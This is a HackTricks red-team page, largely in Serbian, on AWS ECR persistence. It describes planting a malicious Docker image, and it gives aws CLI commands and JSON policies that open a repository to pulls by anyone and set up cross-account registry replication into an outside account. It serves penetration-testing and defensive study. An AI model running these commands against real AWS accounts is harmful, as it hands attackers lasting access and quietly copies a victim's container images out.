AWS - ECR Persistence

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

ECR

For more information check:

AWS - ECR Enum

Hidden Docker Image with Malicious Code

Napadač može otpremiti Docker sliku koja sadrži zlonamerni kod u ECR repozitorijum i koristiti je za održavanje postojanosti u ciljanom AWS nalogu. Napadač može zatim implementirati zlonamernu sliku na razne usluge unutar naloga, kao što su Amazon ECS ili EKS, na diskretan način.

Repository Policy

Dodajte politiku jednom repozitorijumu koja vam omogućava (ili svima) pristup repozitorijumu:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Napomena da ECR zahteva da korisnici imaju dozvolu da pozivaju ecr:GetAuthorizationToken API putem IAM politike pre nego što se mogu autentifikovati na registru i slati ili preuzimati slike iz bilo kog Amazon ECR repozitorijuma.

Politika registracije i replikacija između naloga

Moguće je automatski replicirati registar u eksternom nalogu konfigurišući replikaciju između naloga, gde treba da naznačite eksterni nalog u kojem želite da replicirate registar.

Prvo, treba da date eksternom nalogu pristup nad registrijem sa politikom registracije kao:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Zatim primenite konfiguraciju replikacije:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

• Proverite planove pretplate!

• Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.

• Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.